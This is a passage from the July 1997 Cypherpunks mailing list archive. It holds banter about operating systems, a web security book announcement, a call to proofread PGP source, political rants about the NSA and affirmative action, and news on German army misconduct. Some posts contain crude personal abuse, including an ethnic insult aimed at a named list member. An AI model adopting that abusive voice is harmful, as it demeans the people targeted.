design, especially receiver acquisition/synchronization, but the results
could be well worth the effort.

--Steve

PGP encrypted mail PREFERRED (See MIT/BAL servers for my PK)
PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur@netcom.com
7075 West Gowan Road     | Voice: 1-702-658-2654
Suite 2148               | Fax: 1-702-658-2673
Las Vegas, NV 89129      |
---------------------------------------------------------------------

        God grant me the serenity to accept the things I cannot change;
        The courage to change the things I can;
        The weapons that make the difference;
        And the wisdom to hide the bodies of the people that got in my way;-)

        "Surveilence is ultimately just another form of media, and thus,
        potential entertainment."
        --G. Beato

       "We've all heard that a million monkeys banging on a million
        typewriters will eventually reproduce the entire works of
        Shakespeare. Now, thanks to the Internet, we know this is
        not true."                           -- Dr. Robert Silensky






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 9 Jul 1997 03:34:07 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Is the Vulisbot triggered by my posts?
In-Reply-To: <24eH0D4w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.91.970708163936.874B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> I've replaced OS/2 on it by Windows 95.

And to think they gave you a Ph.D ;-)....

> I think it's sort of a change for the better.  (I still have W95, Linux,
> and OS/2 on other boxes.)

You think moving from OS/2 to Win95 is a change for the better? Must be 
good shit, Did you bring enough for everyone?

But, to be quite honest (and people who know me will know just how much I 
hate to give any form of praise to Micro$oft), Win95 isn`t really that 
bad just for web browsing and mail, but I use linux anyway because I like 
procmail and it is convenient to have the OS running when I want it 
instead of having to reboot.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Wed, 9 Jul 1997 06:33:34 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Is the Vulisbot triggered by my posts?
In-Reply-To: <Lssi0D11w165w@bwalk.dm.com>
Message-ID: <Pine.BSF.3.91.970708165840.9770B-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Tue, 8 Jul 1997, Dr.Dimitri Vulis KOTM wrote:

> "William H. Geiger III" <whgiii@amaranth.com> writes:
> 
> > -----BEGIN PGP SIGNED MESSAGE-----
> >
> > In <24eH0D4w165w@bwalk.dm.com>, on 07/07/97
> >    at 01:15 PM, dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:
> >
> > >I've replaced OS/2 on it by Windows 95.
> >
> > Sorry to hear of your downgrade. :(
> 
> Downgrade it is.  I was planning to migrate this one to NT, but NT won't
> install without some hardware changes, so I settled for W95 for now.
> 
> I still have another box running OS/2.
> 

Couldn't ya get the NSA to spring for a copy of BSD?  ;)

Even a low-budget operation should be able to afford a free OS!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Wed, 9 Jul 1997 06:35:12 +0800
To: amp@pobox.com
Subject: Re: Contracts on the Net (NYT)
In-Reply-To: <Chameleon.868353297.amp@tx86_8>
Message-ID: <Pine.BSF.3.91.970708170230.9770C-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain



> One deal in particular led to a dispute - a $1,020 purchase of a card
> collection last year from a 14-year-old, Ted Clark of Haddonfield,
> N.J. 
> 
> Deak said ``youngsters'' selling cards sometimes do not understand
> the meaning of ``near mint.'' So, after examining the cards he had
> agreed to purchase in several installments, Deak decided they were
> not in near-mint condition and canceled a couple of checks he had
> written to Ted Clark and sold the cards for less than the original
> purchase price. 
> 

Sounds like someone else didn't understand the meaning of "contract."

If the merchandise he purchased was not up to his expectations, he should 
have returned it if he decided to cancel payment.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Wed, 9 Jul 1997 06:48:03 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Forged Posts
In-Reply-To: <199707080749.CAA16060@mailhub.amaranth.com>
Message-ID: <Pine.BSF.3.91.970708171034.9770D-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Tue, 8 Jul 1997, William H. Geiger III wrote:

> In <199707080550.HAA12425@basement.replay.com>, on 07/08/97 
>    at 07:50 AM, nobody@REPLAY.COM (Anonymous) said:
> 
> >Kent Crispin is another fabrication of Toto's, this time with no apparent 
> >model. 
> 
> Hey now give credit where credit is due!!
> 
> Kent Crispin is my creation!!! His sole purpose is so I can refute his
> posts.
> 
> I beleive in literary terms this is know as a foil. :)
> 

There are actually only 13.5 people on this list, by my calculations. The 
thousand+ names/nyms are mere fronts. 

-r.w.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 8 Jul 1997 23:56:13 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell 6
Message-ID: <199707081534.RAA14401@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



John Young wrote:
> 
> On June 26 the court handling Jim's case extended
> the time from June 30 to July 11 for the USA to file an
> indictment.
> No indication that Jim has been released, jailed since
> his arrest on May 16. No reason given for repeated
> waiver of right to a speedy trial.

  The right to a speedy trial is next to meaningless in a court system
which is composed mostly of legal bum-buddies whose main concern is to
make as much money as possible without making each other look like
incompetent fools.
  The fact of the matter is, there is seldom any reason for a person
to sit in jail without bond for extended periods other than the fact
that his or her attorney is not capable of trying a case in a reasonable
amount of time.
  Jim Bell is likely suffering from the delusion that his attorney is
working in his client's best interest. If not, he would demand that
the judge appoint an attorney to defend him who is both capable of and
competent enough to represent him in a timely fashion.

  I mean, get real...Bell is imprisoned without bail with no charges
having been filed against him. 
  Has anybody seen a lawyer-ad on TV lately where the attorney is
screaming, "CALL ME AND YOU'LL ROT IN JAIL WITHOUT EVER BEING CHARGED
WITH A CRIME! CALL 1-800-DIP-SHIT!"

  The bottom line: The fact that a public defender is too busy, or
doesn't have the resources, to represent his client in a timely 
fashion does not justify abrogation of a citizen's rights.
  The fact that Bell's lawyer is allowing his client to sit in prison
without bail and without an indictment against him, without doing 
anything about it, suggests to me that he is selling out his client
in order to enhance his future career as a RatFucker.

TruthMonger

 > The docket's at:
> 
>    http://jya.com/jimbell-dock.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Avi Rubin <rubin@research.att.com>
Date: Wed, 9 Jul 1997 06:01:00 +0800
To: cypherpunks@toad.com
Subject: Web security book finally available
Message-ID: <199707082138.RAA13511@mgoblue.research.att.com>
MIME-Version: 1.0
Content-Type: text/plain



Now available (finally)...

I am told that Amazon and Wiley are shipping them within 24 hours.

                      The Web Security Sourcebook 
                       (John Wiley & Sons, Inc.)

                  by Avi Rubin, Dan Geer, Marcus Ranum
                       foreward by Steve Bellovin

A new book on all aspects of web security. More information can be 
found at http://www.clark.net/pub/mjr/websec/

Now available at:
     https://www.wiley.com/compbooks/catalog/18148-X.htm
     http://www.amazon.com/exec/obidos/ISBN=047118148X


*********************************************************************
Aviel D. Rubin                                 rubin@research.att.com
Secure Systems Research Dept.                Adjunct Professor at NYU
AT&T Labs - Research
180 Park Avenue                   http://www.research.att.com/~rubin/
Florham Park, NJ 07932-0971                    Voice: +1 973 360-8356
USA                                            FAX:   +1 973 360-8809
*********************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Wed, 9 Jul 1997 10:59:55 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [MILCOM] NSA: struggling with diversity ...
Message-ID: <199707090210.TAA06427@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



>The National Security Agency, whose size, secrecy and mission were spawned by
>the Cold War, is in the midst of personnel changes that current and former
>employees warn are a threat to national security.
>
>Former employees call senior leadership the "Irish Mafia" and the Office of
>Discrimination Complaints and Counseling "a party organization for blacks."

A heartwarming report.

The NSA represents the worst of America: its paranoia, its ruthlessness, its end-justifies-
the-means amorality.  The NSA's personnel policies reveal its attitudes clearly
(http://theory.stanford.edu/people/donald/NSA.doc.html).

It is ironic indeed that the NSA is being weakened, not by the foreign enemies it
sees behind every curtain, but by the EEOC, as its immoral and callous mistreatment
of employees, its jealous defense of white male privilege, are all finally revealed to be
utterly inconsistent with modern principles.

There is no place any longer in the world for an agency like the NSA.  It is an enemy to
freedom and an enemy to the free citizenry of its own country.

We need a new agency, one to defend us against infowar, to help industrial competitiveness,
to assist Americans in retaining their freedoms rather than attempting to strip them
away for its own evil purposes.  Let us all hope that the changing of the guard at the NSA
will lead to a rebirth and a renewal as an agency looking forward, rather than one concerned
only with guarding its own rear.

Anon





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 9 Jul 1997 08:29:11 +0800
To: cypherpunks@toad.com
Subject: First Monday, July 1997
Message-ID: <v03020904afe87b1bccda@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: Tue, 8 Jul 1997 22:59:42 +0200 (METDST)
From: lm@webhotel.uni-c.dk
X-For: rah@shipwright.com
To: rah@shipwright.com
Subject: First Monday, July 1997
Mime-Version: 1.0

Dear First Monday Reader
We proudly announce the July Issue of First Monday:

http://www.firstmonday.dk/issues/issue2_7/odlyzko/
Fixed fee versus unit pricing for information goods:
competition, equilibria, and price wars
by Peter Fishburn, Andrew M. Odlyzko, and Ryan C. Siders

http://www.firstmonday.dk/issues/issue2_7/drelichman/
Efficient Pricing in Data Transmission Networks: The
Argentine experience
by Mauricio Drelichman

http://www.firstmonday.dk/issues/issue2_7/goldhaber/
What's the Right Economics for Cyberspace?
by Michael H. Goldhaber

http://www.firstmonday.dk/issues/issue2_7/berentsen/
Digital Money, Liquidity, and Monetary Policy
by Aleksander Berentsen

http://www.firstmonday.dk/issues/issue2_7/almeida/
WebMonitor: a Tool for Measuring World-Wide Web Server
Performance
by Jussara M. Almeida, Virgilio Almeida, and David J. Yates

http://www.firstmonday.dk/issues/issue2_7/hibbitts/
E-Journals, Archives and Knowledge Networks: A
Commentary on Archie Zariski's Defense of Electronic Law Journals
by Bernard Hibbitts

http://www.firstmonday.dk/issues/issue2_7/bookrev/
Working the Web's Global Community: new books

----------------------------------------------------

http://www.firstmonday.dk/issues/issue2_7/odlyzko/
Fixed fee versus unit pricing for information goods:
competition, equilibria, and price wars
by Peter Fishburn, Andrew M. Odlyzko, and Ryan C. Siders

Information goods have negligible marginal costs, and
this will create possibilities for novel distribution and pricing
methods.

The main concern of this paper is with pricing of
goods that are likely to be consumed in large quantities by individuals.
For example, will software continue to be sold at a fixed price for
each  unit, or will it be paid for on the basis of usage? There is
substantial evidence both from observing marketplace evolution and from
surveys that customers overwhelmingly prefer subscription pricing. It
turns out that even if we ignore this factor, per-use pricing is not a
clear winner, and therefore when the preference effect is taken into
account, subscription pricing is likely to dominate.

We model competitive pricing between two companies that supply
essentially equivalent services (such as movies or  word processing
software). One company charges a fixed fee per unit,  while the other
charges on a per-use basis. Each is interested in  maximizing its
revenue. We consider instances of the models that have  stable
competitive equilibria between suppliers along with  situations that are
unstable and, in the absence of collusion, lead to ruinous price wars.

----------------------------

http://www.firstmonday.dk/issues/issue2_7/drelichman/
Efficient Pricing in Data Transmission Networks: The
Argentine  experience
by Mauricio Drelichman

This paper develops a model to reflect the Argentine  market for
end-user  Internet access and draws conclusions on certain  aspects of
economic  efficiency. After the Introduction, the second  section,
entitled A  Simple Model, provides a descriptive analysis of the  market
and its  related industry, deriving a stylized technology and
setting up a basic  model. The third part of the paper, An Application
to  the Argentine  Market, applies the model to Argentina, while the
fourth section,  Lessons from a Linear Demand Case, examines the
results of the model  under certain conditions. The model and the
linear  demand case are fully  developed in the Appendix.

-------------------------

http://www.firstmonday.dk/issues/issue2_7/goldhaber/
What's the Right Economics for Cyberspace?
by Michael H. Goldhaber
Which economic theory best describes what goes on on  the Internet? If
you believe as I do that the explosive growth of the  net and its
relatives will likely continue until they become the  dominant arenas
for
human effort and involvement, this is no idle  question. Theories are
guides to action: sticking to the wrong one can lead  to ruin; adopting
the right one opens the path to success.

-------------------------

http://www.firstmonday.dk/issues/issue2_7/berentsen/
Digital Money, Liquidity, and Monetary Policy
by Aleksander Berentsen
The term digital money refers to various proposed  electronic payment
mechanisms designed for use by consumers to make retail payments.
Digital money products have the potential to replace central bank
currency, thereby affecting the money supply. This paper studies the
effect of replacing central bank currency on the  narrowly defined stock
of money under various assumptions regarding  regulatory policies and
monetary operations of central banks and the reaction
of the banking  system.

----------------------

http://www.firstmonday.dk/issues/issue2_7/almeida/
WebMonitor: a Tool for Measuring World-Wide Web Server
Performance
by Jussara M. Almeida, Virgilio Almeida, and David J. Yates
Server performance has become a crucial issue for  improving the
overall  performance of the World-Wide Web. This paper  describes
WebMonitor, a  tool for evaluating and understanding server
performance, and presents  new results for realistic workloads.

WebMonitor measures activity and resource consumption,  both within the
kernel and in HTTP processes running in user space.  WebMonitor is
implemented using an efficient combination of sampling  and
event-driven  techniques that exhibit low overhead.

Our initial  implementation is for  the Apache World-Wide Web server
running on the Linux  operating system.  We demonstrate the utility of
WebMonitor by measuring  and understanding  the performance of a
Pentium-based PC acting as a  dedicated WWW server.  Our workloads use
file size distributions with a heavy  tail. This  captures the fact that
Web servers must concurrently  handle some  requests for large audio and
video files, and a large  number of requests
for small documents, containing text or images.

Our results show that in a Web server saturated by client requests, up
to 90% of the time spent handling HTTP requests is spent in the  kernel.
These results emphasize the important role of  operating system
implementation in determining Web server performance.
It also suggests  the need for new operating system implementations
that  are designed to  perform well when running on Web servers.

-------------------

http://www.firstmonday.dk/issues/issue2_7/hibbitts/
E-Journals, Archives and Knowledge Networks: A
Commentary on Archie  Zariski's Defense of Electronic Law Journals
by Bernard Hibbitts
In his First Monday article "Never Ending, Still  Beginning: A Defense
of  Electronic Law Journals from the Perspective of the  E-Law
Experience",  Professor Archie Zariski asserted that, despite recent
musings to the contrary, electronic legal periodicals have a bright
future in the age of the Internet. This article challenges that
contention, arguing that  in law as in other disciplines, the reach,
dynamism
and interactivity of  the Internet offer opportunities for the
development  of new scholarly  publishing paradigms - in particular,
archives and  "knowledge networks"  - which have the potential to enrich
and envigorate  legal learning more  than even the most progressive
electronic legal  journals.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 9 Jul 1997 12:57:06 +0800
To: cypherpunks@toad.com
Subject: Re: A really  meaningfull upgrade
In-Reply-To: <3.0.16.19970708110802.3bef3438@pop.netaddress.com>
Message-ID: <HLqJ0D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Casey Iverson <iverson@usa.net> writes:

> At 01:15 PM 7/7/97 EDT, THE RUSSIAN  SCUM BAG, ASS HOLE VULIS  wrote:
>
> >I've replaced OS/2 on it by Windows 95.  I'm going to add some more hardware
> >I think it's sort of a change for the better.
>
> The only meaningfull upgrade would be a total replacement of his fucked up,
> disease ridden perverted brain.
>
> C.I.

Not that I advocate such censorship, but usa.net is very fond of pulling the
plugs on its free accounts whenever there are complaints about contents. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Magus Mixmaster Remailer	 <mix@magusnet.com>
Date: Wed, 9 Jul 1997 10:54:50 +0800
To: cypherpunks@toad.com
Subject: German Army Train Neo-Nazis
Message-ID: <199707090221.TAA06001@mail.magusnet.com>
MIME-Version: 1.0
Content-Type: text/plain




Well, appears that while the German government is railing against neo-Nazis
on the Net, the German army is busy training the next generation of
jack-booted thugs:

"Pictures That Shame The German Army"
(London Independent, 7/7/97, p.9)

Bonn -- A German newspaper yesterday published pictures from an amateur
videotape of soldiers staging mock executions and rapes.

A youthful recruit in a Bundeswehr uniform is shown holding a pistol in
the mouth of another recruit in an image published on the front page of
<I>Bild am Sonntag</I>.

Another photograph shows a soldier pretending to rape another recruit
acting as a woman civilian, who is later shown being marched to
"execution" by troops. Other pictures show enactments of "civilians"
being tortured and hanging from trees, images which revived memories of
atrocities by Hitler's armies.

"There will be no toleration whatsoever of such perversion in the
Bundeswehr," the Defence Minister, Volker Ruhe, said in an interview
with ZDf television. "I will do everything to see that those involved
are disciplined and prosecuted. We will ... take action against all
those involved, even if they are no longer in the army."

The army said eight recruits on the film, made at Hammelburg training
grounds, near Wurzburg, in April 1996, were no longer in the army. The
Bundeswehr investigation also focussed on officers who failed to report
the incident which took place during a break in training for soldiers
preparing for a mission in former Yugoslavia.

Lieutenant-General Helmut Willmann, the army's officer, said acts by
"a handful of mentally disturbed individuals" could not besmirch the
force's good name. "I am horrified by what happened at the Hammelburg
training ground," he said in a statement release by the defence
ministry.

The Greens criticized Gen Willmann for trying to write off the incident
as an abberation, as officers knew of the tape for more than a year but
said nothing about it. Jurgin Trittin, chairman of the Greens, said the
incident was the latest of a series of unsettling incidents. There had
been 53 reported incidents of right-wing extremism in the army in 1995.

Wolfgang Schraut, commander of Jaeger Battalion 571, where the incident
took place, said the recruits could no longer be punished by the army
because they had left. "We will not be able to get our hands on them
any more," the officer said. "They were released from the army in an
entirely normal fashion after completing their military service."

He said that he did not know of the existence of the videotape until
Friday and had learned that it was shown "on occasion in small circles
amongst the comrades." Some 3,000 Germans are in the Nato-led
Stabilization Force (SFOR) in Bosnia. Around 4,000 Germans took part
in SFOR's predecessor, the peace Implementation Force but were
stationed in nearby Croatia.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 9 Jul 1997 09:05:36 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: French satellite attack...
Message-ID: <199707090041.TAA05039@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Several of you asked for a reference to the French satellite attack. I have
been unable to locate any of my books because of moving related to the
business expansion we are going through at the moment. However, if one of you
out there has a copy of "When the phones stopped" or whatever the name was
please be kind enough to chech the index, as there is a reference to this
incident in that book (it's the only one I can clearly remember and a cpunk
might have a copy of).

I hope to have all the reference works unboxed and shelved within the next
couple of weeks. I have added this item to my To-Do list and will pursue it
then provided an answer is not forthcoming.

Sorry for the delay.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Darryl Rowe <darrylr@iglou.com> (by way of Alec McCrackin <camcc@abraxis.com>)
Date: Wed, 9 Jul 1997 08:01:56 +0800
To: Cypherpunks <cypherpunks@toad.com>
Subject: [PGP-USERS] A start ... (hopefully) ...
Message-ID: <3.0.2.32.19970708194725.007c0100@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Hopefully this is a harbinger of things to come (a July 7 press 
release at http://www.pgp.com), and maybe Phil can out-Gates Gates 
and assimilate Micro$oft (hey! I can dream, can't I?):

The Allegro Group, Inc. has incorporated PGP technology in their 
Encryption Gateway for Groupwise. Now, the 8.5 million users of 
Novell GroupWise will be able to send and receive encrypted email and 
attachments securely and easily. The Encryption Gateway for GroupWise 
is available on the Windows NT platform and is available as a beta 
product today. 

<snip>

The gateway is a 32-bit application and does not require any 
additional encryption. It supports keys up to 2048 bits and 
attachments (including uuEncode and MIME). The gateway works with any 
PGP or ViaCrypt product and/or key pair, and administrators may 
customize help and error messages. 

<snip>

Now if they can keep this up and get their foot in the door with all 
the other email vendors.

===============================================================
PGPMail preferred: key ID 0xE63E77E5. Finger darrylr@iglou.com 
http://keys.pgp.com:11371/pks/lookup?op=i
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBM8Ketg/p7jvmPnflAQGg+AgAtGT7PyeVVjhLmEt4pGfHbWIUSVBjr8FA
zhtMa58sG3WQQAZWhfJkS65b6IXTO6q45P0uwLSuXNsFWtOf3B5tCqkrtavrARkh
OJA6UNJ5QrLMVSvKj70XUsogTP5G4n1ReVRgmAYxRNBGREwPo72asNj+71h+80vi
NkQNPiuZompq6YghG0uDVinB5Fb0RyTOpzLzN0SKbRJuTaNLRbHRlWA25dyYKoKJ
0tqsSc28NJEPhYCXf9PbyE0fiWiiJTxQVCCT/ZxpRoIXHPR4tYRmadhDzCpwak92
ztz9TJPMFtviKaomOvz8YRI6wYZ6jtsuNh3m+08Q9pl9Fo85bzihcw==
=H+9P
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 9 Jul 1997 13:17:20 +0800
To: cypherpunks@toad.com
Subject: Re: Is the Vulisbot triggered by my posts?
In-Reply-To: <Pine.LNX.3.91.970708163936.874B-100000@fatmans.demon.co.uk>
Message-ID: <i75J0D5w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley <paul@fatmans.demon.co.uk> writes:

> > I've replaced OS/2 on it by Windows 95.
>
> And to think they gave you a Ph.D ;-)....

Well, it's in math, not comp.sci. :-)

> > I think it's sort of a change for the better.  (I still have W95, Linux,
> > and OS/2 on other boxes.)
>
> You think moving from OS/2 to Win95 is a change for the better? Must be
> good shit, Did you bring enough for everyone?

We had a greateful dead concern 1 block from us last week - weed was just
lying in the street afterwards.

> But, to be quite honest (and people who know me will know just how much I
> hate to give any form of praise to Micro$oft), Win95 isn`t really that
> bad just for web browsing and mail, but I use linux anyway because I like
> procmail and it is convenient to have the OS running when I want it
> instead of having to reboot.

My plan was to move this box from OS/2 to NT, but NT wouldn't install,
so I'm keeping W95 on it until I get around modernizing the hardware.

I think the best policy is to have "1 of each".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 9 Jul 1997 13:13:09 +0800
To: cypherpunks@toad.com
Subject: Re: Is the Vulisbot triggered by my posts?
In-Reply-To: <Pine.BSF.3.91.970708165840.9770B-100000@mcfeely.bsfs.org>
Message-ID: <mc6J0D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Rabid Wombat <wombat@mcfeely.bsfs.org> writes:

> On Tue, 8 Jul 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > "William H. Geiger III" <whgiii@amaranth.com> writes:
> >
> > > -----BEGIN PGP SIGNED MESSAGE-----
> > >
> > > In <24eH0D4w165w@bwalk.dm.com>, on 07/07/97
> > >    at 01:15 PM, dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:
> > >
> > > >I've replaced OS/2 on it by Windows 95.
> > >
> > > Sorry to hear of your downgrade. :(
> >
> > Downgrade it is.  I was planning to migrate this one to NT, but NT won't
> > install without some hardware changes, so I settled for W95 for now.
> >
> > I still have another box running OS/2.
>
> Couldn't ya get the NSA to spring for a copy of BSD?  ;)

I don't think I could even get a dockmaster account.

> Even a low-budget operation should be able to afford a free OS!

I already have a Linux box. I figure two Intel boxes running Unix clones
would be redundant. :-) I might get a donation of a Sparc 20, though.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 9 Jul 1997 23:44:41 +0800
To: cypherpunks@toad.com
Subject: Re: The Vulisbot
In-Reply-To: <19970709084723.1920.qmail@squirrel.owl.de>
Message-ID: <TuNk0D8w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Secret Squirrel <nobody@secret.squirrel.owl.de> writes:

>  Re: Liberating the Bits
> Dr.Dimitri Vulis KOTM blathers:
>
> >Tim May <tcmay@got.net> writes:
> >> Let it be known I did not write any of the material above attributed to me
> >
> >And we're supposed to believe you?
>
> Yup. Like we believe you when you deny the Vilusbot. get over it, Kook.

In what way do I deny the Vulisbot?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 9 Jul 1997 23:45:55 +0800
To: cypherpunks@Algebra.COM
Subject: More PGP volunteers needed
Message-ID: <3.0.2.32.19970709083804.0072d7d4@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Folks,

The proofreading of the legally exported PGP source is going pretty slow.
Platform independent source is only 68% done, Windows and Macintosh 6 and
2% respectively. http://www.ifi.uio.no/pgp/

It would speed things up if more non-US citizens living outside the US
willing to proofread source were to contact Stale Schumacher at
<stale@hypnotech.com> to volunteer some time. You can wait for the source
to show up on your favorite ftp site, or you can make it happen. Your choice.

You would need a basic C compiler and perl to join the "Free the Source"
effort. A scanner is *not* needed.

--Lucky, who by law can not participate in the proofreading.
--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Wed, 9 Jul 1997 20:59:49 +0800
To: cypherpunks@toad.com
Subject: Rose Bird vs Multi-Ethnic Diversity/IRS racial quotas
Message-ID: <199707091241.FAA07369@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain




Wonder what the lefty-racists will say about this...

Sunday, July 6, 1997 . Page B 8
San Francisco Examiner     

LETTERS TO THE EDITOR
 

Rose Elizabeth Bird's ignorant and poorly reasoned column ( "A brutal
education legacy," June 29) in which she identified the end of affirmative
action at the University of California with apartheid is an example of why
race-based policies have become so bankrupt among the citizens of California.


Apartheid classified individuals strictly according to race and ignored
their individual abilities. Blacks in South Africa could not go to white
universities regardless of their intellectual accomplishments. Affirmative
action classified individuals according to race and their individual
accomplishments. The end of affirmative action means that individuals will
be assessed in terms of their individual accomplishments. It is as far away
from apartheid as a policy could possibly be. 

Moreover, the end of affirmative action will not result in ethnically
homogeneous campuses at the University of California. The student population
in this state is astonishingly diverse. There are large numbers of men and
women whose forebears came from all over Europe, Africa, Latin America and
Asia. 

What the end of affirmative action will do is to change the mix. There will
be more individuals of Chinese, Japanese, Sri Lankan, Indian, Pakistani and
Russian descent, and fewer individuals of African and Latin American descent.

Bird might not like this new mix, but the astonishing ethnic diversity of
California universities will not end as a result of the termination of
affirmative action - only race-based discrimination will. 

Stephen D. Krasner 
Department of Political Science 
Stanford University 



Rose Bird's "disgraceful, social do-gooding, liberal attack'

Anent Rose Elizabeth Bird's disgraceful - albeit typically social do-gooding
liberal - attack upon Gov. Wilson and UC Regent Ward Connerly for taking us
from "affirmative action to California-style apartheid" : 

The opinions, political philosophy and judicial activism of former
California Chief Justice Bird were unequivocably repudiated by the voters of
California when she and two other like-thinking liberal justices were
deservedly removed from the court. Bird's words today - as were her
pronouncements from the bench of yesteryear - would be laughable were they
not so dangerous. 

Thomas M. Edwards 
San Francisco 

====================================================


US NEWS & WORLD REPORT

UPDATE  July, 1997

The IRS loses a round

SOON AFTER PRESIDENT CLINTON announced his "mend it, don't end it" policy on
affirmative action, U.S. News reported ("Between the Idea and the Reality,"
July 31, 1995) on race-and-employment skirmishes within the federal
bureaucracy. In one prominent example, critics accused the Internal Revenue
Service of maintaining virtual quotas in its hiring practices. In the past
two years, the IRS has lost several cases involving charges of "reverse
discrimination" that were brought by white males. Two of the cases involved
accusations by IRS employees who charged that the agency had retaliated
against them for filing or supporting reverse-bias claims. Federal District
Court Judge Donald E. Walter in Shreveport, La., recently declared the IRS's
policy on racial and gender diversity unconstitutional, saying that it
amounted to a "quota, guarantee, or set-aside." The judge issued his ruling
in a suit brought by four white males that is set for trial next month. The
case may be settled, but the IRS will be under pressure to overhaul its
policy, which may be challenged in a class-action suit.--Ted Gest

Copyright U.S. News & World Report, Inc. 










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Wed, 9 Jul 1997 17:13:23 +0800
To: cypherpunks@toad.com
Subject: The Vulisbot
Message-ID: <19970709084723.1920.qmail@squirrel.owl.de>
